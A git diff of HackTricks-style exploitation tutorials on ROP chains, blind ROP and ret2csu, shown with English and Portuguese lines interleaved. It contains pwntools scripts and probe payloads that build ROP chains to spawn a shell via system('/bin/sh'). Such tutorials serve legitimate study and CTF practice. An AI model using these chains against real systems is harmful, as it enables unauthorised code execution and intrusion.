- `mov [ebx], eax; ret`: Moves the value in `EAX` to the memory location pointed to by `EBX` and then returns. This is often called a **write-what-where gadget**.
- Additionally, we have the address of the `system()` function available.
- `pop eax; ret`: Este gadget remove o valor do topo da pilha para o registrador `EAX` e então retorna, permitindo-nos controlar `EAX`.
- `pop ebx; ret`: Semelhante ao acima, mas para o registrador `EBX`, permitindo controle sobre `EBX`.
- `mov [ebx], eax; ret`: Move o valor em `EAX` para a localização de memória apontada por `EBX` e então retorna. Isso é frequentemente chamado de **gadget write-what-where**.
- Além disso, temos o endereço da função `system()` disponível.
### **ROP Chain**
### **Cadeia ROP**
Using **pwntools**, we prepare the stack for the ROP chain execution as follows aiming to execute `system('/bin/sh')`, note how the chain starts with:
1. A `ret` instruction for alignment purposes (optional)
2. Address of `system` function (supposing ASLR disabled and known libc, more info in [**Ret2lib**](ret2lib/))
3. Placeholder for the return address from `system()`
4. `"/bin/sh"` string address (parameter for system function)
Usando **pwntools**, preparamos a pilha para a execução da cadeia ROP da seguinte forma, visando executar `system('/bin/sh')`, note como a cadeia começa com:
1. Uma instrução `ret` para fins de alinhamento (opcional)
2. Endereço da função `system` (supondo ASLR desativado e libc conhecido, mais informações em [**Ret2lib**](ret2lib/))
3. Placeholder para o endereço de retorno da `system()`
4. Endereço da string `"/bin/sh"` (parâmetro para a função system)
```python
from pwn import *
@ -59,10 +58,10 @@ ret_gadget = 0xcafebabe # This could be any gadget that allows us to control th
# Construct the ROP chain
rop_chain = [
ret_gadget, # This gadget is used to align the stack if necessary, especially to bypass stack alignment issues
system_addr, # Address of system(). Execution will continue here after the ret gadget
0x41414141, # Placeholder for system()'s return address. This could be the address of exit() or another safe place.
bin_sh_addr # Address of "/bin/sh" string goes here, as the argument to system()
ret_gadget, # This gadget is used to align the stack if necessary, especially to bypass stack alignment issues
system_addr, # Address of system(). Execution will continue here after the ret gadget
0x41414141, # Placeholder for system()'s return address. This could be the address of exit() or another safe place.
bin_sh_addr # Address of "/bin/sh" string goes here, as the argument to system()
]
# Flatten the rop_chain for use
@ -74,28 +73,26 @@ payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()
```
## Cadeia ROP em x64 Exemplo
## ROP Chain in x64 Example
### **Convenções de chamada x64 (64 bits)**
### **x64 (64-bit) Calling conventions**
- Usa a convenção de chamada **System V AMD64 ABI** em sistemas Unix-like, onde os **seis primeiros argumentos inteiros ou ponteiros são passados nos registradores `RDI`, `RSI`, `RDX`, `RCX`, `R8` e `R9`**. Argumentos adicionais são passados na pilha. O valor de retorno é colocado em `RAX`.
- A convenção de chamada **Windows x64** usa `RCX`, `RDX`, `R8` e `R9` para os quatro primeiros argumentos inteiros ou ponteiros, com argumentos adicionais passados na pilha. O valor de retorno é colocado em `RAX`.
- **Registradores**: os registradores de 64 bits incluem `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP` e `R8` a `R15`.
- Uses the **System V AMD64 ABI** calling convention on Unix-like systems, where the **first six integer or pointer arguments are passed in the registers `RDI`, `RSI`, `RDX`, `RCX`, `R8`, and `R9`**. Additional arguments are passed on the stack. The return value is placed in `RAX`.
- **Windows x64** calling convention uses `RCX`, `RDX`, `R8`, and `R9` for the first four integer or pointer arguments, with additional arguments passed on the stack. The return value is placed in `RAX`.
- **Registers**: 64-bit registers include `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP`, and `R8` to `R15`.
#### **Encontrando Gadgets**
#### **Finding Gadgets**
Para nosso propósito, vamos nos concentrar em gadgets que nos permitirão definir o registrador **RDI** (para passar a string **"/bin/sh"** como um argumento para **system()**) e então chamar a função **system()**. Vamos assumir que identificamos os seguintes gadgets:
For our purpose, let's focus on gadgets that will allow us to set the **RDI** register (to pass the **"/bin/sh"** string as an argument to **system()**) and then call the **system()** function. We'll assume we've identified the following gadgets:
- **pop rdi; ret**: Puxa o valor do topo da pilha para **RDI** e então retorna. Essencial para definir nosso argumento para **system()**.
- **ret**: Um retorno simples, útil para alinhamento da pilha em alguns cenários.
- **pop rdi; ret**: Pops the top value of the stack into **RDI** and then returns. Essential for setting our argument for **system()**.
- **ret**: A simple return, useful for stack alignment in some scenarios.
E sabemos o endereço da função **system()**.
And we know the address of the **system()** function.
### **ROP Chain**
Below is an example using **pwntools** to set up and execute a ROP chain aiming to execute **system('/bin/sh')** on **x64**:
### **Cadeia ROP**
Abaixo está um exemplo usando **pwntools** para configurar e executar uma cadeia ROP com o objetivo de executar **system('/bin/sh')** em **x64**:
```python
from pwn import *
@ -115,10 +112,10 @@ ret_gadget = 0xdeadbeefdeadbead # ret gadget for alignment, if necessary
# Construct the ROP chain
rop_chain = [
ret_gadget, # Alignment gadget, if needed
pop_rdi_gadget, # pop rdi; ret
bin_sh_addr, # Address of "/bin/sh" string goes here, as the argument to system()
system_addr # Address of system(). Execution will continue here.
ret_gadget, # Alignment gadget, if needed
pop_rdi_gadget, # pop rdi; ret
bin_sh_addr, # Address of "/bin/sh" string goes here, as the argument to system()
system_addr # Address of system(). Execution will continue here.
]
# Flatten the rop_chain for use
@ -130,66 +127,65 @@ payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()
```
Neste exemplo:
In this example:
- Utilizamos o gadget **`pop rdi; ret`** para definir **`RDI`** como o endereço de **`"/bin/sh"`**.
- Pulamos diretamente para **`system()`** após definir **`RDI`**, com o endereço de **system()** na cadeia.
- **`ret_gadget`** é usado para alinhamento se o ambiente alvo exigir, o que é mais comum em **x64** para garantir o alinhamento adequado da pilha antes de chamar funções.
- We utilize the **`pop rdi; ret`** gadget to set **`RDI`** to the address of **`"/bin/sh"`**.
- We directly jump to **`system()`** after setting **`RDI`**, with **system()**'s address in the chain.
- **`ret_gadget`** is used for alignment if the target environment requires it, which is more common in **x64** to ensure proper stack alignment before calling functions.
### Alinhamento da Pilha
### Stack Alignment
**O x86-64 ABI** garante que a **pilha esteja alinhada em 16 bytes** quando uma **instrução de chamada** é executada. **LIBC**, para otimizar o desempenho, **usa instruções SSE** (como **movaps**) que requerem esse alinhamento. Se a pilha não estiver alinhada corretamente (significando que **RSP** não é um múltiplo de 16), chamadas para funções como **system** falharão em uma **cadeia ROP**. Para corrigir isso, basta adicionar um **gadget ret** antes de chamar **system** em sua cadeia ROP.
**The x86-64 ABI** ensures that the **stack is 16-byte aligned** when a **call instruction** is executed. **LIBC**, to optimize performance, **uses SSE instructions** (like **movaps**) which require this alignment. If the stack isn't aligned properly (meaning **RSP** isn't a multiple of 16), calls to functions like **system** will fail in a **ROP chain**. To fix this, simply add a **ret gadget** before calling **system** in your ROP chain.
## x86 vs x64 main difference
## Principal diferença entre x86 e x64
> [!TIP]
> Since **x64 uses registers for the first few arguments,** it often requires fewer gadgets than x86 for simple function calls, but finding and chaining the right gadgets can be more complex due to the increased number of registers and the larger address space. The increased number of registers and the larger address space in **x64** architecture provide both opportunities and challenges for exploit development, especially in the context of Return-Oriented Programming (ROP).
> Como **x64 usa registradores para os primeiros argumentos,** geralmente requer menos gadgets do que x86 para chamadas de função simples, mas encontrar e encadear os gadgets certos pode ser mais complexo devido ao maior número de registradores e ao espaço de endereço maior. O aumento do número de registradores e o espaço de endereço maior na arquitetura **x64** oferecem tanto oportunidades quanto desafios para o desenvolvimento de exploits, especialmente no contexto de Return-Oriented Programming (ROP).
## ROP chain in ARM64 Example
## Exemplo de cadeia ROP em ARM64
### **ARM64 Basics & Calling conventions**
### **Noções Básicas de ARM64 & Convenções de Chamada**
Check the following page for this information:
Verifique a página a seguir para essas informações:
{{#ref}}
../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
{{#endref}}
## Protections Against ROP
## Proteções Contra ROP
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **&** [**PIE**](../common-binary-protections-and-bypasses/pie/): These protections makes harder the use of ROP as the addresses of the gadgets changes between execution.
- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/): In of a BOF, it's needed to bypass the stores stack canary to overwrite return pointers to abuse a ROP chain
- **Lack of Gadgets**: If there aren't enough gadgets it won't be possible to generate a ROP chain.
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **&** [**PIE**](../common-binary-protections-and-bypasses/pie/): Essas proteções dificultam o uso de ROP, pois os endereços dos gadgets mudam entre as execuções.
- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/): Em um BOF, é necessário contornar o armazenamento do canário da pilha para sobrescrever ponteiros de retorno e abusar de uma cadeia ROP.
- **Falta de Gadgets**: Se não houver gadgets suficientes, não será possível gerar uma cadeia ROP.
## ROP based techniques
## Técnicas baseadas em ROP
Notice that ROP is just a technique in order to execute arbitrary code. Based in ROP a lot of Ret2XXX techniques were developed:
Observe que ROP é apenas uma técnica para executar código arbitrário. Baseado em ROP, muitas técnicas Ret2XXX foram desenvolvidas:
- **Ret2lib**: Use ROP to call arbitrary functions from a loaded library with arbitrary parameters (usually something like `system('/bin/sh')`.
- **Ret2lib**: Usa ROP para chamar funções arbitrárias de uma biblioteca carregada com parâmetros arbitrários (geralmente algo como `system('/bin/sh')`.
{{#ref}}
ret2lib/
{{#endref}}
- **Ret2Syscall**: Use ROP to prepare a call to a syscall, e.g. `execve`, and make it execute arbitrary commands.
- **Ret2Syscall**: Usa ROP para preparar uma chamada a uma syscall, por exemplo, `execve`, e fazer com que execute comandos arbitrários.
{{#ref}}
rop-syscall-execv/
{{#endref}}
- **EBP2Ret & EBP Chaining**: The first will abuse EBP instead of EIP to control the flow and the second is similar to Ret2lib but in this case the flow is controlled mainly with EBP addresses (although t's also needed to control EIP).
- **EBP2Ret & EBP Chaining**: O primeiro abusará do EBP em vez do EIP para controlar o fluxo e o segundo é semelhante ao Ret2lib, mas neste caso o fluxo é controlado principalmente com endereços EBP (embora também seja necessário controlar o EIP).
{{#ref}}
../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md
{{#endref}}
## Other Examples & References
## Outros Exemplos & Referências
- [https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions](https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions)
- [https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html)
- 64 bit, Pie and nx enabled, no canary, overwrite RIP with a `vsyscall` address with the sole purpose or return to the next address in the stack which will be a partial overwrite of the address to get the part of the function that leaks the flag
- 64 bits, Pie e nx habilitados, sem canário, sobrescrever RIP com um endereço `vsyscall` com o único propósito de retornar ao próximo endereço na pilha, que será uma sobrescrição parcial do endereço para obter a parte da função que vaza a flag.
- [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
- arm64, no ASLR, ROP gadget to make stack executable and jump to shellcode in stack
- arm64, sem ASLR, gadget ROP para tornar a pilha executável e pular para shellcode na pilha.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,123 +2,123 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## Informações Básicas
The goal of this attack is to be able to **abuse a ROP via a buffer overflow without any information about the vulnerable binary**.\
This attack is based on the following scenario:
O objetivo deste ataque é ser capaz de **abusar de um ROP via um estouro de buffer sem qualquer informação sobre o binário vulnerável**.\
Este ataque é baseado no seguinte cenário:
- A stack vulnerability and knowledge of how to trigger it.
- A server application that restarts after a crash.
- Uma vulnerabilidade na pilha e conhecimento de como acioná-la.
- Um aplicativo de servidor que reinicia após uma falha.
## Attack
## Ataque
### **1. Find vulnerable offset** sending one more character until a malfunction of the server is detected
### **1. Encontrar o offset vulnerável** enviando um caractere a mais até que uma falha do servidor seja detectada
### **2. Brute-force canary** to leak it
### **2. Forçar o canário** para vazá-lo
### **3. Brute-force stored RBP and RIP** addresses in the stack to leak them
### **3. Forçar os endereços RBP e RIP** armazenados na pilha para vazá-los
You can find more information about these processes [here (BF Forked & Threaded Stack Canaries)](../common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md) and [here (BF Addresses in the Stack)](../common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md).
Você pode encontrar mais informações sobre esses processos [aqui (BF Forked & Threaded Stack Canaries)](../common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md) e [aqui (BF Addresses in the Stack)](../common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md).
### **4. Find the stop gadget**
### **4. Encontrar o gadget de parada**
This gadget basically allows to confirm that something interesting was executed by the ROP gadget because the execution didn't crash. Usually, this gadget is going to be something that **stops the execution** and it's positioned at the end of the ROP chain when looking for ROP gadgets to confirm a specific ROP gadget was executed
Este gadget basicamente permite confirmar que algo interessante foi executado pelo gadget ROP porque a execução não falhou. Normalmente, este gadget será algo que **para a execução** e está posicionado no final da cadeia ROP ao procurar gadgets ROP para confirmar que um gadget ROP específico foi executado.
### **5. Find BROP gadget**
### **5. Encontrar o gadget BROP**
This technique uses the [**ret2csu**](ret2csu.md) gadget. And this is because if you access this gadget in the middle of some instructions you get gadgets to control **`rsi`** and **`rdi`**:
Esta técnica usa o gadget [**ret2csu**](ret2csu.md). E isso ocorre porque, se você acessar este gadget no meio de algumas instruções, você obtém gadgets para controlar **`rsi`** e **`rdi`**:
<figure><img src="../../images/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
These would be the gadgets:
Esses seriam os gadgets:
- `pop rsi; pop r15; ret`
- `pop rdi; ret`
Notice how with those gadgets it's possible to **control 2 arguments** of a function to call.
Note como, com esses gadgets, é possível **controlar 2 argumentos** de uma função a ser chamada.
Also, notice that the ret2csu gadget has a **very unique signature** because it's going to be poping 6 registers from the stack. SO sending a chain like:
Além disso, note que o gadget ret2csu tem uma **assinatura muito única** porque vai estar popando 6 registradores da pilha. Portanto, enviando uma cadeia como:
`'A' * offset + canary + rbp + ADDR + 0xdead * 6 + STOP`
If the **STOP is executed**, this basically means an **address that is popping 6 registers** from the stack was used. Or that the address used was also a STOP address.
Se o **STOP for executado**, isso basicamente significa que um **endereço que está popando 6 registradores** da pilha foi usado. Ou que o endereço usado também era um endereço de STOP.
In order to **remove this last option** a new chain like the following is executed and it must not execute the STOP gadget to confirm the previous one did pop 6 registers:
Para **remover esta última opção**, uma nova cadeia como a seguinte é executada e não deve executar o gadget STOP para confirmar que o anterior popou 6 registradores:
`'A' * offset + canary + rbp + ADDR`
Knowing the address of the ret2csu gadget, it's possible to **infer the address of the gadgets to control `rsi` and `rdi`**.
Sabendo o endereço do gadget ret2csu, é possível **inferir o endereço dos gadgets para controlar `rsi` e `rdi`**.
### 6. Find PLT
### 6. Encontrar PLT
The PLT table can be searched from 0x400000 or from the **leaked RIP address** from the stack (if **PIE** is being used). The **entries** of the table are **separated by 16B** (0x10B), and when one function is called the server doesn't crash even if the arguments aren't correct. Also, checking the address of a entry in the **PLT + 6B also doesn't crash** as it's the first code executed.
A tabela PLT pode ser pesquisada a partir de 0x400000 ou do **endereço RIP vazado** da pilha (se **PIE** estiver sendo usado). As **entradas** da tabela são **separadas por 16B** (0x10B), e quando uma função é chamada, o servidor não falha mesmo que os argumentos não estejam corretos. Além disso, verificar o endereço de uma entrada na **PLT + 6B também não falha** pois é o primeiro código executado.
Therefore, it's possible to find the PLT table checking the following behaviours:
Portanto, é possível encontrar a tabela PLT verificando os seguintes comportamentos:
- `'A' * offset + canary + rbp + ADDR + STOP` -> no crash
- `'A' * offset + canary + rbp + (ADDR + 0x6) + STOP` -> no crash
- `'A' * offset + canary + rbp + (ADDR + 0x10) + STOP` -> no crash
- `'A' * offset + canary + rbp + ADDR + STOP` -> sem falha
- `'A' * offset + canary + rbp + (ADDR + 0x6) + STOP` -> sem falha
- `'A' * offset + canary + rbp + (ADDR + 0x10) + STOP` -> sem falha
### 7. Finding strcmp
### 7. Encontrando strcmp
The **`strcmp`** function sets the register **`rdx`** to the length of the string being compared. Note that **`rdx`** is the **third argument** and we need it to be **bigger than 0** in order to later use `write` to leak the program.
A função **`strcmp`** define o registrador **`rdx`** para o comprimento da string sendo comparada. Note que **`rdx`** é o **terceiro argumento** e precisamos que ele seja **maior que 0** para depois usar `write` para vazar o programa.
It's possible to find the location of **`strcmp`** in the PLT based on its behaviour using the fact that we can now control the 2 first arguments of functions:
É possível encontrar a localização de **`strcmp`** na PLT com base em seu comportamento usando o fato de que agora podemos controlar os 2 primeiros argumentos das funções:
- strcmp(\<non read addr>, \<non read addr>) -> crash
- strcmp(\<non read addr>, \<read addr>) -> crash
- strcmp(\<read addr>, \<non read addr>) -> crash
- strcmp(\<read addr>, \<read addr>) -> no crash
- strcmp(\<endereço não lido>, \<endereço não lido>) -> falha
- strcmp(\<endereço não lido>, \<endereço lido>) -> falha
- strcmp(\<endereço lido>, \<endereço não lido>) -> falha
- strcmp(\<endereço lido>, \<endereço lido>) -> sem falha
It's possible to check for this by calling each entry of the PLT table or by using the **PLT slow path** which basically consist on **calling an entry in the PLT table + 0xb** (which calls to **`dlresolve`**) followed in the stack by the **entry number one wishes to probe** (starting at zero) to scan all PLT entries from the first one:
É possível verificar isso chamando cada entrada da tabela PLT ou usando o **caminho lento da PLT**, que basicamente consiste em **chamar uma entrada na tabela PLT + 0xb** (que chama **`dlresolve`**) seguido na pilha pelo **número da entrada que se deseja sondar** (começando em zero) para escanear todas as entradas PLT a partir da primeira:
- strcmp(\<non read addr>, \<read addr>) -> crash
- `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -> Will crash
- strcmp(\<read addr>, \<non read addr>) -> crash
- `b'A' * offset + canary + rbp + (BROP + 0x9) + p64(0x300) + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP`
- strcmp(\<read addr>, \<read addr>) -> no crash
- `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP`
- strcmp(\<endereço não lido>, \<endereço lido>) -> falha
- `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -> Vai falhar
- strcmp(\<endereço lido>, \<endereço não lido>) -> falha
- `b'A' * offset + canary + rbp + (BROP + 0x9) + p64(0x300) + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP`
- strcmp(\<endereço lido>, \<endereço lido>) -> sem falha
- `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP`
Remember that:
Lembre-se que:
- BROP + 0x7 point to **`pop RSI; pop R15; ret;`**
- BROP + 0x9 point to **`pop RDI; ret;`**
- PLT + 0xb point to a call to **dl_resolve**.
- BROP + 0x7 aponta para **`pop RSI; pop R15; ret;`**
- BROP + 0x9 aponta para **`pop RDI; ret;`**
- PLT + 0xb aponta para uma chamada a **dl_resolve**.
Having found `strcmp` it's possible to set **`rdx`** to a value bigger than 0.
Tendo encontrado `strcmp`, é possível definir **`rdx`** para um valor maior que 0.
> [!TIP]
> Note that usually `rdx` will host already a value bigger than 0, so this step might not be necesary.
> Note que geralmente `rdx` já terá um valor maior que 0, então este passo pode não ser necessário.
### 8. Finding Write or equivalent
### 8. Encontrando Write ou equivalente
Finally, it's needed a gadget that exfiltrates data in order to exfiltrate the binary. And at this moment it's possible to **control 2 arguments and set `rdx` bigger than 0.**
Finalmente, é necessário um gadget que exfiltra dados para exfiltrar o binário. E neste momento é possível **controlar 2 argumentos e definir `rdx` maior que 0.**
There are 3 common funtions taht could be abused for this:
Existem 3 funções comuns que poderiam ser abusadas para isso:
- `puts(data)`
- `dprintf(fd, data)`
- `write(fd, data, len(data)`
However, the original paper only mentions the **`write`** one, so lets talk about it:
No entanto, o artigo original menciona apenas a **`write`**, então vamos falar sobre isso:
The current problem is that we don't know **where the write function is inside the PLT** and we don't know **a fd number to send the data to our socket**.
O problema atual é que não sabemos **onde a função write está dentro da PLT** e não sabemos **um número de fd para enviar os dados para nosso socket**.
However, we know **where the PLT table is** and it's possible to find write based on its **behaviour**. And we can create **several connections** with the server an d use a **high FD** hoping that it matches some of our connections.
No entanto, sabemos **onde está a tabela PLT** e é possível encontrar write com base em seu **comportamento**. E podemos criar **várias conexões** com o servidor e usar um **FD alto** esperando que ele corresponda a algumas de nossas conexões.
Behaviour signatures to find those functions:
Assinaturas de comportamento para encontrar essas funções:
- `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0) + p64(0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> If there is data printed, then puts was found
- `'A' * offset + canary + rbp + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> If there is data printed, then dprintf was found
- `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + (RIP + 0x1) + p64(0x0) + (PLT + 0xb ) + p64(STRCMP ENTRY) + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> If there is data printed, then write was found
- `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0) + p64(0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Se houver dados impressos, então puts foi encontrado
- `'A' * offset + canary + rbp + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Se houver dados impressos, então dprintf foi encontrado
- `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + (RIP + 0x1) + p64(0x0) + (PLT + 0xb ) + p64(STRCMP ENTRY) + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Se houver dados impressos, então write foi encontrado
## Automatic Exploitation
## Exploração Automática
- [https://github.com/Hakumarachi/Bropper](https://github.com/Hakumarachi/Bropper)
## References
## Referências
- Original paper: [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)
- Artigo original: [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)
- [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/blind-return-oriented-programming-brop](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/blind-return-oriented-programming-brop)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,18 +4,17 @@
##
## [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)Basic Information
## [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)Informações Básicas
**ret2csu** is a hacking technique used when you're trying to take control of a program but can't find the **gadgets** you usually use to manipulate the program's behavior.
**ret2csu** é uma técnica de hacking usada quando você está tentando assumir o controle de um programa, mas não consegue encontrar os **gadgets** que normalmente usa para manipular o comportamento do programa.
When a program uses certain libraries (like libc), it has some built-in functions for managing how different pieces of the program talk to each other. Among these functions are some hidden gems that can act as our missing gadgets, especially one called `__libc_csu_init`.
Quando um programa usa certas bibliotecas (como libc), ele possui algumas funções integradas para gerenciar como diferentes partes do programa se comunicam. Entre essas funções, existem algumas joias ocultas que podem agir como nossos gadgets ausentes, especialmente uma chamada `__libc_csu_init`.
### The Magic Gadgets in \_\_libc_csu_init
### Os Gadgets Mágicos em \_\_libc_csu_init
In **`__libc_csu_init`**, there are two sequences of instructions (gadgets) to highlight:
1. The first sequence lets us set up values in several registers (rbx, rbp, r12, r13, r14, r15). These are like slots where we can store numbers or addresses we want to use later.
Em **`__libc_csu_init`**, há duas sequências de instruções (gadgets) a serem destacadas:
1. A primeira sequência nos permite configurar valores em vários registradores (rbx, rbp, r12, r13, r14, r15). Estes são como slots onde podemos armazenar números ou endereços que queremos usar mais tarde.
```armasm
pop rbx;
pop rbp;
@ -25,22 +24,18 @@ pop r14;
pop r15;
ret;
```
Este gadget nos permite controlar esses registradores ao retirar valores da pilha para eles.
This gadget allows us to control these registers by popping values off the stack into them.
2. The second sequence uses the values we set up to do a couple of things:
- **Move specific values into other registers**, making them ready for us to use as parameters in functions.
- **Perform a call to a location** determined by adding together the values in r15 and rbx, then multiplying rbx by 8.
2. A segunda sequência usa os valores que configuramos para fazer algumas coisas:
- **Mover valores específicos para outros registradores**, tornando-os prontos para usarmos como parâmetros em funções.
- **Executar uma chamada para um local** determinado pela soma dos valores em r15 e rbx, e então multiplicando rbx por 8.
```armasm
mov rdx, r15;
mov rsi, r14;
mov edi, r13d;
call qword [r12 + rbx*8];
```
3. Maybe you don't know any address to write there and you **need a `ret` instruction**. Note that the second gadget will also **end in a `ret`**, but you will need to meet some **conditions** in order to reach it:
3. Talvez você não conheça nenhum endereço para escrever lá e você **precisa de uma instrução `ret`**. Note que o segundo gadget também **terminará em um `ret`**, mas você precisará atender a algumas **condições** para alcançá-lo:
```armasm
mov rdx, r15;
mov rsi, r14;
@ -52,50 +47,46 @@ jnz <func>
...
ret
```
As condições serão:
The conditions will be:
- `[r12 + rbx*8]` must be pointing to an address storing a callable function (if no idea and no pie, you can just use `_init` func):
- If \_init is at `0x400560`, use GEF to search for a pointer in memory to it and make `[r12 + rbx*8]` be the address with the pointer to \_init:
- `[r12 + rbx*8]` deve apontar para um endereço que armazena uma função chamável (se não houver ideia e sem pie, você pode apenas usar a função `_init`):
- Se \_init estiver em `0x400560`, use o GEF para procurar um ponteiro na memória para ele e faça com que `[r12 + rbx*8]` seja o endereço com o ponteiro para \_init:
```bash
# Example from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
gef➤ search-pattern 0x400560
[+] Searching '\x60\x05\x40' in memory
[+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x400000-0x401000), permission=r-x
0x400e38 - 0x400e44 → "\x60\x05\x40[...]"
0x400e38 - 0x400e44 → "\x60\x05\x40[...]"
[+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x600000-0x601000), permission=r--
0x600e38 - 0x600e44 → "\x60\x05\x40[...]"
0x600e38 - 0x600e44 → "\x60\x05\x40[...]"
```
- `rbp` e `rbx` devem ter o mesmo valor para evitar o salto
- Existem alguns pops omitidos que você precisa levar em conta
- `rbp` and `rbx` must have the same value to avoid the jump
- There are some omitted pops you need to take into account
## RDI e RSI
## RDI and RSI
Another way to control **`rdi`** and **`rsi`** from the ret2csu gadget is by accessing it specific offsets:
Outra maneira de controlar **`rdi`** e **`rsi`** a partir do gadget ret2csu é acessando offsets específicos:
<figure><img src="../../images/image (2) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="283"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
Check this page for more info:
Verifique esta página para mais informações:
{{#ref}}
brop-blind-return-oriented-programming.md
{{#endref}}
## Example
## Exemplo
### Using the call
### Usando a chamada
Imagine you want to make a syscall or call a function like `write()` but need specific values in the `rdx` and `rsi` registers as parameters. Normally, you'd look for gadgets that set these registers directly, but you can't find any.
Imagine que você deseja fazer uma syscall ou chamar uma função como `write()`, mas precisa de valores específicos nos registradores `rdx` e `rsi` como parâmetros. Normalmente, você procuraria gadgets que definem esses registradores diretamente, mas não consegue encontrar nenhum.
Here's where **ret2csu** comes into play:
É aqui que **ret2csu** entra em cena:
1. **Set Up the Registers**: Use the first magic gadget to pop values off the stack and into rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx), and r15.
2. **Use the Second Gadget**: With those registers set, you use the second gadget. This lets you move your chosen values into `rdx` and `rsi` (from r14 and r13, respectively), readying parameters for a function call. Moreover, by controlling `r15` and `rbx`, you can make the program call a function located at the address you calculate and place into `[r15 + rbx*8]`.
You have an [**example using this technique and explaining it here**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation), and this is the final exploit it used:
1. **Configurar os Registradores**: Use o primeiro gadget mágico para retirar valores da pilha e colocá-los em rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx) e r15.
2. **Usar o Segundo Gadget**: Com esses registradores configurados, você usa o segundo gadget. Isso permite que você mova os valores escolhidos para `rdx` e `rsi` (de r14 e r13, respectivamente), preparando os parâmetros para uma chamada de função. Além disso, ao controlar `r15` e `rbx`, você pode fazer o programa chamar uma função localizada no endereço que você calcula e coloca em `[r15 + rbx*8]`.
Você tem um [**exemplo usando esta técnica e explicando aqui**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation), e este é o exploit final que usou:
```python
from pwn import *
@ -119,14 +110,12 @@ p.sendlineafter('me\n', rop.chain())
p.sendline(p64(elf.sym['win'])) # send to gets() so it's written
print(p.recvline()) # should receive "Awesome work!"
```
> [!WARNING]
